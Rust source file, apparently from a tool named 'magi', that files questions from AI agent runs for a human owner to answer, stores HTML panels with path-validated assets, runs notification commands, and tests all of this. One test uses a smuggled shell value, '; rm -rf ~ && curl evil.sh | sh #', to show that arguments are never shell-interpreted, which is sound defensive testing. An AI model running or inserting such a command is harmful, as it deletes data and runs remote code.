1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41
42pub const SCHEMA: u32 = 1;
48
49const POLL: Duration = Duration::from_secs(3);
58
59const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
65
66pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
77
78pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
87
88const PANEL_DIR: &str = ".panel";
94
95const PANEL_HTML: &str = "index.html";
97
98const PANEL_TMP: &str = ".panel.tmp";
100
101pub fn valid_asset_name(name: &str) -> bool {
118 if name.is_empty() || name.len() > 64 || name.contains("..") {
119 return false;
120 }
121 let mut chars = name.chars();
122 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
123 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
124}
125
126#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
128#[serde(rename_all = "lowercase")]
129pub enum QuestionStatus {
130 Open,
132 Answered,
134 Abandoned,
138}
139
140impl QuestionStatus {
141 pub fn open(self) -> bool {
143 matches!(self, Self::Open)
144 }
145
146 pub fn as_str(self) -> &'static str {
148 match self {
149 Self::Open => "open",
150 Self::Answered => "answered",
151 Self::Abandoned => "abandoned",
152 }
153 }
154}
155
156#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
163#[serde(rename_all = "lowercase")]
164pub enum Answer {
165 Choice(String),
167 Text(String),
169}
170
171#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
173#[serde(deny_unknown_fields)]
174pub struct Question {
175 pub schema: u32,
177 pub id: String,
180 pub run: String,
182 pub node: String,
184 pub seat: String,
187 pub summary: String,
190 pub detail: String,
193 pub choices: Vec<String>,
197 #[serde(default)]
204 pub panel: bool,
205 #[serde(default)]
212 pub assets: Vec<String>,
213 pub status: QuestionStatus,
215 pub asked_at: Timestamp,
217 pub answered_at: Option<Timestamp>,
219 pub answer: Option<Answer>,
221}
222
223impl Question {
224 pub fn new(
227 run: String,
228 node: String,
229 seat: String,
230 summary: String,
231 detail: String,
232 choices: Vec<String>,
233 ) -> Self {
234 Self {
235 schema: SCHEMA,
236 id: new_id(),
237 run,
238 node,
239 seat,
240 summary,
241 detail,
242 choices,
243 panel: false,
244 assets: Vec::new(),
245 status: QuestionStatus::Open,
246 asked_at: Timestamp::now(),
247 answered_at: None,
248 answer: None,
249 }
250 }
251
252 pub fn short(&self) -> &str {
254 short(&self.id)
255 }
256
257 pub fn free_text(&self) -> bool {
259 self.choices.is_empty()
260 }
261
262 pub fn answer(&mut self, answer: Answer) -> Result<()> {
272 match self.status {
273 QuestionStatus::Answered => bail!(
274 "question {} was already answered; the run has moved on and a \
275 second answer would be a decision nobody acted on",
276 self.short()
277 ),
278 QuestionStatus::Abandoned => bail!(
279 "question {} was abandoned and the run behind it is gone",
280 self.short()
281 ),
282 QuestionStatus::Open => {}
283 }
284 let body = match &answer {
285 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
286 };
287 if body.trim().is_empty() {
288 bail!(
289 "question {} needs an answer; an empty one tells the agent \
290 nothing and it would guess anyway",
291 self.short()
292 );
293 }
294 match &answer {
295 Answer::Choice(c) if self.free_text() => bail!(
296 "question {} asks for free text, so `{c}` cannot be a choice \
297 it offered",
298 self.short()
299 ),
300 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
301 "`{c}` is not one of the choices question {} offers: {}",
302 self.short(),
303 self.choices.join(", ")
304 ),
305 Answer::Text(_) if !self.free_text() => bail!(
306 "question {} is multiple choice; answer with one of: {}",
307 self.short(),
308 self.choices.join(", ")
309 ),
310 _ => {}
311 }
312 self.answered_at = Some(Timestamp::now());
313 self.answer = Some(answer);
314 self.status = QuestionStatus::Answered;
315 Ok(())
316 }
317
318 pub fn abandon(&mut self, why: impl Into<String>) {
330 if !self.status.open() {
331 return;
332 }
333 self.status = QuestionStatus::Abandoned;
334 let why = why.into();
335 let why = why.trim();
336 if why.is_empty() {
337 return;
338 }
339 if !self.detail.is_empty() {
340 self.detail.push('\n');
341 }
342 self.detail.push_str("\n_Abandoned: ");
343 self.detail.push_str(why);
344 self.detail.push_str("._\n");
345 }
346
347 pub fn resolution(&self) -> Option<String> {
354 match (self.status, &self.answer) {
355 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
356 Some(a.clone())
357 }
358 _ => None,
359 }
360 }
361}
362
363#[derive(Debug, Clone)]
365pub struct Questions {
366 root: PathBuf,
367}
368
369impl Questions {
370 pub fn open() -> Self {
372 Self::at(crate::run::home().join("questions"))
373 }
374
375 pub fn at(root: PathBuf) -> Self {
378 Self { root }
379 }
380
381 pub fn root(&self) -> &Path {
383 &self.root
384 }
385
386 pub fn path_of(&self, id: &str) -> PathBuf {
388 self.root.join(format!("{id}.json"))
389 }
390
391 pub fn panel_dir(&self, id: &str) -> PathBuf {
393 self.root.join(format!("{id}{PANEL_DIR}"))
394 }
395
396 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
420 if !valid_asset_name(&q.id) {
421 bail!(
422 "question id `{}` is not a name magi will build a panel path from",
423 q.id
424 );
425 }
426 if html.trim().is_empty() {
427 bail!(
428 "question {} was handed an empty panel; an empty frame reads to \
429 the owner as \"the agent had nothing to say\", which is a lie",
430 q.short()
431 );
432 }
433
434 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
437 for src in assets {
438 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
439 if !valid_asset_name(name) {
440 bail!(
441 "panel asset `{}` cannot be stored: a panel file name must \
442 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
443 src.display()
444 );
445 }
446 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
447 bail!(
448 "two panel assets are both named `{name}` - {} and {} - and \
449 the panel can only show one of them; rename one at the source",
450 first.display(),
451 src.display()
452 );
453 }
454 named.push((name.to_owned(), src.as_path()));
455 }
456
457 let mut total = html.len() as u64;
458 for (_, src) in &named {
459 let meta = std::fs::metadata(src)
460 .with_context(|| format!("stat panel asset {}", src.display()))?;
461 if !meta.is_file() {
462 bail!(
463 "panel asset `{}` is not a file; a panel is html plus files \
464 copied beside it",
465 src.display()
466 );
467 }
468 total = total.saturating_add(meta.len());
469 }
470 if total > PANEL_MAX_BYTES {
471 bail!(
472 "panel for question {} is {total} bytes, over magi's cap of \
473 {PANEL_MAX_BYTES} bytes; nothing was written",
474 q.short()
475 );
476 }
477
478 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
479 let dir = self.panel_dir(&q.id);
480 std::fs::create_dir_all(&self.root)
481 .with_context(|| format!("create {}", self.root.display()))?;
482 clear_dir(&tmp)?;
483 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
484 if let Err(e) = fill_panel(&tmp, html, &named) {
485 let _ = std::fs::remove_dir_all(&tmp);
488 return Err(e);
489 }
490 clear_dir(&dir)?;
491 std::fs::rename(&tmp, &dir)
492 .with_context(|| format!("move panel into {}", dir.display()))?;
493
494 q.panel = true;
495 q.assets = named.into_iter().map(|(n, _)| n).collect();
496 q.assets.sort_unstable();
497 Ok(())
498 }
499
500 pub fn panel_html(&self, id: &str) -> Option<String> {
506 if !valid_asset_name(id) {
507 return None;
508 }
509 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
510 }
511
512 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
523 if !valid_asset_name(name) {
524 bail!(
525 "`{name}` is not a panel file name; it must match \
526 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
527 );
528 }
529 if !valid_asset_name(id) {
530 return Ok(None);
531 }
532 let dir = self.panel_dir(id);
533 if !dir.is_dir() {
534 return Ok(None);
535 }
536 let path = dir.join(name);
537 match std::fs::read(&path) {
538 Ok(bytes) => Ok(Some(bytes)),
539 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
540 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
541 }
542 }
543
544 pub fn drop_panel(&self, id: &str) -> Result<()> {
553 if !valid_asset_name(id) {
554 bail!("question id `{id}` is not a name magi will build a panel path from");
555 }
556 clear_dir(&self.panel_dir(id))?;
557 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
558 }
559
560 pub fn put(&self, q: &mut Question) -> Result<()> {
564 std::fs::create_dir_all(&self.root)
565 .with_context(|| format!("create {}", self.root.display()))?;
566 let body = serde_json::to_string_pretty(q).context("serialize question")?;
567 let path = self.path_of(&q.id);
568 let tmp = path.with_extension("json.tmp");
569 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
570 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
571 Ok(())
572 }
573
574 pub fn get(&self, id: &str) -> Result<Question> {
576 let resolved = self.resolve_id(id)?;
577 read_path(&self.path_of(&resolved))
578 }
579
580 pub fn list(&self) -> Vec<Question> {
588 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
589 .into_iter()
590 .flatten()
591 .flatten()
592 .map(|e| e.path())
593 .filter(|p| p.extension().is_some_and(|x| x == "json"))
594 .filter_map(|p| read_path(&p).ok())
595 .collect();
596 all.sort_unstable_by(|a, b| {
597 let rank = |q: &Question| u8::from(!q.status.open());
598 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
599 });
600 all
601 }
602
603 pub fn open_for(&self, run: &str) -> Vec<Question> {
609 self.list()
610 .into_iter()
611 .filter(|q| q.status.open() && q.run == run)
612 .collect()
613 }
614
615 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
628 let mut abandoned = 0;
629 for mut q in self.open_for(run) {
630 q.abandon(why);
631 self.put(&mut q)?;
632 abandoned += 1;
633 }
634 Ok(abandoned)
635 }
636
637 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
640 if self.path_of(prefix).is_file() {
641 return Ok(prefix.to_owned());
642 }
643 let hits: Vec<String> = self
644 .list()
645 .into_iter()
646 .map(|q| q.id)
647 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
648 .collect();
649 match hits.len() {
650 1 => Ok(hits.into_iter().next().expect("exactly one hit")),
651 0 => bail!("no question matches `{prefix}`"),
652 _ => bail!(
653 "`{prefix}` matches {} questions: {}",
654 hits.len(),
655 hits.join(", ")
656 ),
657 }
658 }
659
660 pub fn revision(&self) -> u64 {
664 std::fs::read_dir(&self.root)
665 .into_iter()
666 .flatten()
667 .flatten()
668 .filter_map(|e| e.metadata().ok())
669 .filter_map(|m| m.modified().ok())
670 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
671 .map(|d| d.as_millis() as u64)
672 .max()
673 .unwrap_or(0)
674 }
675
676 pub fn count_open(&self) -> usize {
679 self.list().iter().filter(|q| q.status.open()).count()
680 }
681}
682
683pub async fn ask_and_wait(
693 q: &mut Question,
694 store: &Questions,
695 notify: &config::Notify,
696 timeout: Duration,
697) -> Result<Option<String>> {
698 wait_for_owner(q, store, notify, timeout, POLL).await
699}
700
701async fn wait_for_owner(
707 q: &mut Question,
708 store: &Questions,
709 cfg: &config::Notify,
710 timeout: Duration,
711 poll: Duration,
712) -> Result<Option<String>> {
713 store.put(q).context("file the question")?;
714 if let Err(e) = notify(cfg, q).await {
715 tracing::warn!(
719 "could not notify about question {}: {e:#} - the web UI is the \
720 only surface for it now",
721 q.short()
722 );
723 }
724 tracing::info!(
725 "question {} from {} is waiting for you: {}",
726 q.short(),
727 q.seat,
728 q.summary
729 );
730
731 let deadline = tokio::time::Instant::now() + timeout;
732 loop {
733 let now = tokio::time::Instant::now();
734 if now >= deadline {
735 q.abandon(format!(
736 "no answer within {}s of asking",
737 timeout.as_secs().max(1)
738 ));
739 store.put(q).context("record the abandoned question")?;
740 tracing::warn!(
741 "question {} went unanswered for {}s; the run parks and the \
742 question stays as the record of it",
743 q.short(),
744 timeout.as_secs()
745 );
746 return Ok(None);
747 }
748 tokio::time::sleep(poll.min(deadline - now)).await;
749 match store.get(&q.id) {
750 Ok(fresh) if !fresh.status.open() => {
751 *q = fresh;
755 return Ok(q.resolution());
756 }
757 Ok(_) => {}
758 Err(e) => {
759 tracing::debug!("could not re-read question {}: {e:#}", q.short());
763 }
764 }
765 }
766}
767
768pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
779 let Some((program, args)) = cmd.command.split_first() else {
780 return Ok(());
782 };
783 let url = web_url();
784 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
785 tracing::warn!(
786 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
787 so the link will be empty - export it next to `magi serve` with \
788 the address `magi web --open` printed"
789 );
790 }
791 let argv: Vec<String> = args.iter().map(|a| expand(a, q, &url)).collect();
792 tracing::debug!(program = %program, args = ?argv, "notifying");
793
794 let mut child = tokio::process::Command::new(program);
795 child.quiet();
796 child
797 .args(&argv)
798 .stdin(std::process::Stdio::null())
799 .kill_on_drop(true);
802 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
803 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
804 Err(_) => bail!(
805 "notification command `{program}` did not finish within {}s",
806 NOTIFY_TIMEOUT.as_secs()
807 ),
808 };
809 if !out.status.success() {
810 let stderr = String::from_utf8_lossy(&out.stderr);
811 let why = stderr
812 .lines()
813 .rev()
814 .find(|l| !l.trim().is_empty())
815 .unwrap_or("no output on stderr")
816 .trim();
817 bail!(
818 "notification command `{program}` exited with {}: {why}",
819 out.status
820 );
821 }
822 Ok(())
823}
824
825fn expand(template: &str, q: &Question, url: &str) -> String {
831 let table = [
832 ("{summary}", q.summary.as_str()),
833 ("{run}", q.run.as_str()),
834 ("{url}", url),
835 ];
836 let mut out = String::with_capacity(template.len());
837 let mut rest = template;
838 while let Some(at) = rest.find('{') {
839 out.push_str(&rest[..at]);
840 let tail = &rest[at..];
841 match table.iter().find(|(token, _)| tail.starts_with(token)) {
842 Some((token, value)) => {
843 out.push_str(value);
844 rest = &tail[token.len()..];
845 }
846 None => {
847 out.push('{');
849 rest = &tail[1..];
850 }
851 }
852 }
853 out.push_str(rest);
854 out
855}
856
857fn web_url() -> String {
859 question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
860}
861
862fn question_url(base: &str) -> String {
869 let base = base.trim().trim_end_matches('/');
870 if base.is_empty() || base.contains('#') {
871 return base.to_owned();
872 }
873 format!("{base}/#/questions")
874}
875
876fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
881 let index = dir.join(PANEL_HTML);
882 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
883 for (name, src) in assets {
884 let dst = dir.join(name);
885 std::fs::copy(src, &dst)
886 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
887 }
888 Ok(())
889}
890
891fn clear_dir(path: &Path) -> Result<()> {
896 match std::fs::remove_dir_all(path) {
897 Ok(()) => Ok(()),
898 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
899 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
900 }
901}
902
903fn read_path(path: &Path) -> Result<Question> {
904 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
905 let q: Question =
906 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
907 if q.schema != SCHEMA {
908 bail!(
909 "question {} was written by a different magi (schema {}, this \
910 build speaks {SCHEMA})",
911 q.id,
912 q.schema
913 );
914 }
915 Ok(q)
916}
917
918fn short(id: &str) -> &str {
919 id.split('-').next_back().unwrap_or(id)
920}
921
922fn new_id() -> String {
923 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
924 let seed = crate::rng::entropy();
925 format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
926}
927
928#[cfg(test)]
929mod tests {
930 use super::*;
931
932 fn store() -> (tempfile::TempDir, Questions) {
935 let dir = tempfile::tempdir().unwrap();
936 let s = Questions::at(dir.path().join("questions"));
937 (dir, s)
938 }
939
940 #[test]
941 fn deleting_a_run_stops_its_questions_asking() {
942 let (_dir, store) = store();
943
944 let mut open_one = choice_question();
945 store.put(&mut open_one).unwrap();
946 let mut answered = free_question();
947 answered
948 .answer(Answer::Text("keep this".to_owned()))
949 .unwrap();
950 store.put(&mut answered).unwrap();
951 let mut elsewhere = choice_question();
952 elsewhere.run = "20260903-105039-3cbf".to_owned();
953 store.put(&mut elsewhere).unwrap();
954
955 let n = store
956 .abandon_for_run(&open_one.run, "run was deleted")
957 .unwrap();
958 assert_eq!(n, 1, "only the open question of that run");
959
960 let back = store.get(&open_one.id).unwrap();
961 assert!(!back.status.open(), "it no longer asks for a decision");
962 assert!(
963 back.detail.contains("run was deleted"),
964 "the operator can see why: {}",
965 back.detail
966 );
967
968 let kept = store.get(&answered.id).unwrap();
969 assert_eq!(
970 kept.status,
971 QuestionStatus::Answered,
972 "an answered question is a decision on record, not something to revoke"
973 );
974 assert!(
975 store.get(&elsewhere.id).unwrap().status.open(),
976 "another run's question is untouched"
977 );
978 assert!(store.open_for(&open_one.run).is_empty());
979 }
980
981 fn choice_question() -> Question {
982 Question::new(
983 "20260902-201256-9fb7".to_owned(),
984 "implement".to_owned(),
985 "impl-A".to_owned(),
986 "Which storage backend should the cache use?".to_owned(),
987 "Both are already dependencies.".to_owned(),
988 vec!["SQLite".to_owned(), "Redis".to_owned()],
989 )
990 }
991
992 fn free_question() -> Question {
993 Question::new(
994 "20260902-201256-9fb7".to_owned(),
995 "review".to_owned(),
996 "rev-1".to_owned(),
997 "What should the error message say?".to_owned(),
998 String::new(),
999 Vec::new(),
1000 )
1001 }
1002
1003 fn quiet() -> config::Notify {
1005 config::Notify::default()
1006 }
1007
1008 #[test]
1009 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
1010 let mut q = choice_question();
1014 q.id = "20260902-231501-ab12".to_owned();
1015 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
1016 let keys: Vec<&str> = open
1020 .as_object()
1021 .unwrap()
1022 .keys()
1023 .map(String::as_str)
1024 .collect();
1025 assert_eq!(
1026 keys,
1027 [
1028 "answer",
1029 "answered_at",
1030 "asked_at",
1031 "assets",
1032 "choices",
1033 "detail",
1034 "id",
1035 "node",
1036 "panel",
1037 "run",
1038 "schema",
1039 "seat",
1040 "status",
1041 "summary",
1042 ],
1043 "the on-disk field set is a contract with the front end"
1044 );
1045 assert_eq!(open["schema"], 1);
1046 assert_eq!(open["id"], "20260902-231501-ab12");
1047 assert_eq!(open["run"], "20260902-201256-9fb7");
1048 assert_eq!(open["node"], "implement");
1049 assert_eq!(open["seat"], "impl-A");
1050 assert_eq!(open["status"], "open");
1051 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
1052 assert_eq!(open["answered_at"], serde_json::Value::Null);
1053 assert_eq!(open["answer"], serde_json::Value::Null);
1054 let asked = open["asked_at"].as_str().unwrap();
1055 assert!(
1056 asked.ends_with('Z') && asked.contains('T'),
1057 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
1058 );
1059
1060 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1062 let answered = serde_json::to_value(&q).unwrap();
1063 assert_eq!(answered["status"], "answered");
1064 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
1065 assert!(answered["answered_at"].is_string());
1066
1067 let mut free = free_question();
1069 free.answer(Answer::Text("Say which file it was".to_owned()))
1070 .unwrap();
1071 assert_eq!(
1072 serde_json::to_value(&free).unwrap()["answer"],
1073 serde_json::json!({"text": "Say which file it was"})
1074 );
1075
1076 let body = serde_json::to_string(&q).unwrap();
1078 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
1079 }
1080
1081 #[test]
1082 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
1083 let mut unoffered = choice_question();
1086 let a = unoffered
1087 .answer(Answer::Choice("Postgres".to_owned()))
1088 .unwrap_err()
1089 .to_string();
1090
1091 let mut typed = choice_question();
1092 let b = typed
1093 .answer(Answer::Text("use Postgres".to_owned()))
1094 .unwrap_err()
1095 .to_string();
1096
1097 let mut blank = free_question();
1098 let c = blank
1099 .answer(Answer::Text(" \n".to_owned()))
1100 .unwrap_err()
1101 .to_string();
1102
1103 let mut twice = choice_question();
1104 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1105 let d = twice
1106 .answer(Answer::Choice("Redis".to_owned()))
1107 .unwrap_err()
1108 .to_string();
1109
1110 assert!(a.contains("not one of the choices"), "{a}");
1111 assert!(b.contains("multiple choice"), "{b}");
1112 assert!(c.contains("empty"), "{c}");
1113 assert!(d.contains("already answered"), "{d}");
1114 let mut distinct = vec![a, b, c, d];
1115 let asked = distinct.len();
1116 distinct.sort_unstable();
1117 distinct.dedup();
1118 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
1119
1120 assert_eq!(unoffered.status, QuestionStatus::Open);
1122 assert_eq!(typed.status, QuestionStatus::Open);
1123 assert_eq!(blank.status, QuestionStatus::Open);
1124 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
1126
1127 let mut free = free_question();
1129 let e = free
1130 .answer(Answer::Choice("SQLite".to_owned()))
1131 .unwrap_err()
1132 .to_string();
1133 assert!(e.contains("free text"), "{e}");
1134 }
1135
1136 #[test]
1137 fn open_questions_are_listed_before_answered_ones() {
1138 let (_dir, s) = store();
1139 let mut old_open = choice_question();
1142 old_open.id = "20260101-000001-aaaa".to_owned();
1143 let mut new_open = choice_question();
1144 new_open.id = "20260101-000002-bbbb".to_owned();
1145 let mut answered = choice_question();
1146 answered.id = "20260101-000003-cccc".to_owned();
1147 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
1148 for q in [&mut old_open, &mut new_open, &mut answered] {
1149 s.put(q).unwrap();
1150 }
1151
1152 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
1153 assert_eq!(
1154 ids,
1155 [
1156 "20260101-000002-bbbb",
1157 "20260101-000001-aaaa",
1158 "20260101-000003-cccc"
1159 ],
1160 "what has stopped work comes first; history sorts underneath"
1161 );
1162 assert_eq!(s.count_open(), 2);
1163 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
1164 assert!(s.open_for("some-other-run").is_empty());
1165 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
1167 assert!(s.get("20260101-000002-bbbb").is_ok());
1168 assert!(s.resolve_id("nope").is_err());
1169 assert!(
1170 s.revision() > 0,
1171 "the store's mtime drives the phone's polling"
1172 );
1173 }
1174
1175 #[test]
1176 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
1177 let (_dir, s) = store();
1178 let mut good = choice_question();
1179 s.put(&mut good).unwrap();
1180 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
1182 let future = serde_json::json!({
1183 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
1184 "seat": "s", "summary": "?", "detail": "", "choices": [],
1185 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
1186 "answered_at": null, "answer": null,
1187 });
1188 std::fs::write(
1189 s.path_of("20260101-000010-beef"),
1190 serde_json::to_string(&future).unwrap(),
1191 )
1192 .unwrap();
1193
1194 let listed = s.list();
1195 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
1196 assert_eq!(listed[0].id, good.id);
1197 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
1199 assert!(e.contains("schema"), "{e}");
1200 }
1201
1202 #[tokio::test]
1203 async fn the_wait_returns_the_answer_another_process_wrote() {
1204 let (dir, s) = store();
1209 let mut q = choice_question();
1210 let id = q.id.clone();
1211 let writer = Questions::at(dir.path().join("questions"));
1212 let handle = tokio::spawn(async move {
1213 tokio::time::sleep(Duration::from_millis(30)).await;
1214 let mut fresh = writer.get(&id).expect("the question was filed first");
1215 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1216 writer.put(&mut fresh).unwrap();
1217 });
1218
1219 let got = wait_for_owner(
1220 &mut q,
1221 &s,
1222 &quiet(),
1223 Duration::from_secs(5),
1224 Duration::from_millis(10),
1225 )
1226 .await
1227 .unwrap();
1228
1229 handle.await.unwrap();
1230 assert_eq!(got.as_deref(), Some("SQLite"));
1231 assert_eq!(
1232 q.status,
1233 QuestionStatus::Answered,
1234 "the caller's copy is refreshed from the answering process's record"
1235 );
1236 assert!(q.answered_at.is_some());
1237 }
1238
1239 #[tokio::test]
1240 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
1241 let (_dir, s) = store();
1242 let mut q = choice_question();
1243
1244 let got = wait_for_owner(
1245 &mut q,
1246 &s,
1247 &quiet(),
1248 Duration::from_millis(60),
1249 Duration::from_millis(10),
1250 )
1251 .await
1252 .unwrap();
1253
1254 assert!(got.is_none(), "a slow human is not an error; the run parks");
1255 assert_eq!(q.status, QuestionStatus::Abandoned);
1256 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
1257 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
1258 assert!(
1259 on_disk.detail.contains("Abandoned:"),
1260 "why nobody answered belongs with the question: {}",
1261 on_disk.detail
1262 );
1263 assert!(on_disk.resolution().is_none());
1264 assert_eq!(s.count_open(), 0);
1265 }
1266
1267 #[tokio::test]
1268 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
1269 let (dir, s) = store();
1273 let broken = config::Notify {
1274 command: vec![
1275 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
1276 "{summary}".to_owned(),
1277 ],
1278 };
1279 let mut q = choice_question();
1280 assert!(
1281 notify(&broken, &q).await.is_err(),
1282 "the caller is told; it decides that it does not matter"
1283 );
1284
1285 let id = q.id.clone();
1286 let writer = Questions::at(dir.path().join("questions"));
1287 let handle = tokio::spawn(async move {
1288 tokio::time::sleep(Duration::from_millis(30)).await;
1289 let mut fresh = writer.get(&id).unwrap();
1290 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
1291 writer.put(&mut fresh).unwrap();
1292 });
1293 let got = wait_for_owner(
1294 &mut q,
1295 &s,
1296 &broken,
1297 Duration::from_secs(5),
1298 Duration::from_millis(10),
1299 )
1300 .await
1301 .unwrap();
1302 handle.await.unwrap();
1303 assert_eq!(got.as_deref(), Some("Redis"));
1304
1305 assert!(notify(&quiet(), &q).await.is_ok());
1307 }
1308
1309 #[test]
1310 fn notification_arguments_are_substituted_and_never_a_shell_string() {
1311 let mut q = choice_question();
1312 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
1313 let template = [
1314 "ntfy".to_owned(),
1315 "publish".to_owned(),
1316 "--click".to_owned(),
1317 "{url}".to_owned(),
1318 "--title".to_owned(),
1319 "magi {run} needs you".to_owned(),
1320 "{summary}".to_owned(),
1321 ];
1322 let argv: Vec<String> = template
1323 .iter()
1324 .map(|a| expand(a, &q, "http://100.64.0.1:7777/#/questions"))
1325 .collect();
1326
1327 assert_eq!(
1328 argv,
1329 [
1330 "ntfy",
1331 "publish",
1332 "--click",
1333 "http://100.64.0.1:7777/#/questions",
1334 "--title",
1335 "magi 20260902-201256-9fb7 needs you",
1336 "; rm -rf ~ && curl evil.sh | sh #",
1337 ],
1338 "the shell metacharacters are one argument's contents, not syntax"
1339 );
1340
1341 q.summary = "should {url} be configurable?".to_owned();
1344 assert_eq!(
1345 expand("{summary}", &q, "http://x/#/questions"),
1346 "should {url} be configurable?"
1347 );
1348 assert_eq!(
1350 expand("{title}: {run}", &q, ""),
1351 "{title}: 20260902-201256-9fb7"
1352 );
1353 assert_eq!(expand("no placeholders", &q, "http://x"), "no placeholders");
1354 }
1355
1356 #[test]
1357 fn the_notification_link_lands_on_the_view_that_can_answer() {
1358 assert_eq!(
1359 question_url("http://100.64.0.1:7777"),
1360 "http://100.64.0.1:7777/#/questions"
1361 );
1362 assert_eq!(
1363 question_url("http://100.64.0.1:7777/"),
1364 "http://100.64.0.1:7777/#/questions"
1365 );
1366 assert_eq!(
1368 question_url("http://magi.ts.net/#/runs"),
1369 "http://magi.ts.net/#/runs"
1370 );
1371 assert_eq!(question_url(" "), "");
1373 }
1374
1375 fn panelled() -> Question {
1377 let mut q = choice_question();
1378 q.id = "20260903-014455-ab12".to_owned();
1379 q
1380 }
1381
1382 #[test]
1383 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
1384 let (dir, s) = store();
1385 let work = dir.path().join("worktree");
1386 std::fs::create_dir_all(&work).unwrap();
1387 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
1388 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
1389
1390 let mut q = panelled();
1391 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
1392 s.put_panel(
1393 &mut q,
1394 html,
1395 &[work.join("table.png"), work.join("diff.svg")],
1396 )
1397 .unwrap();
1398 s.put(&mut q).unwrap();
1399
1400 assert!(q.panel);
1401 assert_eq!(
1402 q.assets,
1403 ["diff.svg", "table.png"],
1404 "sorted, not in the order the agent happened to pass them"
1405 );
1406 assert_eq!(
1407 s.panel_html(&q.id).as_deref(),
1408 Some(html),
1409 "the html is stored byte for byte; the agent authored the markup"
1410 );
1411 assert_eq!(
1412 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
1413 Some(&b"<svg/>"[..])
1414 );
1415
1416 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
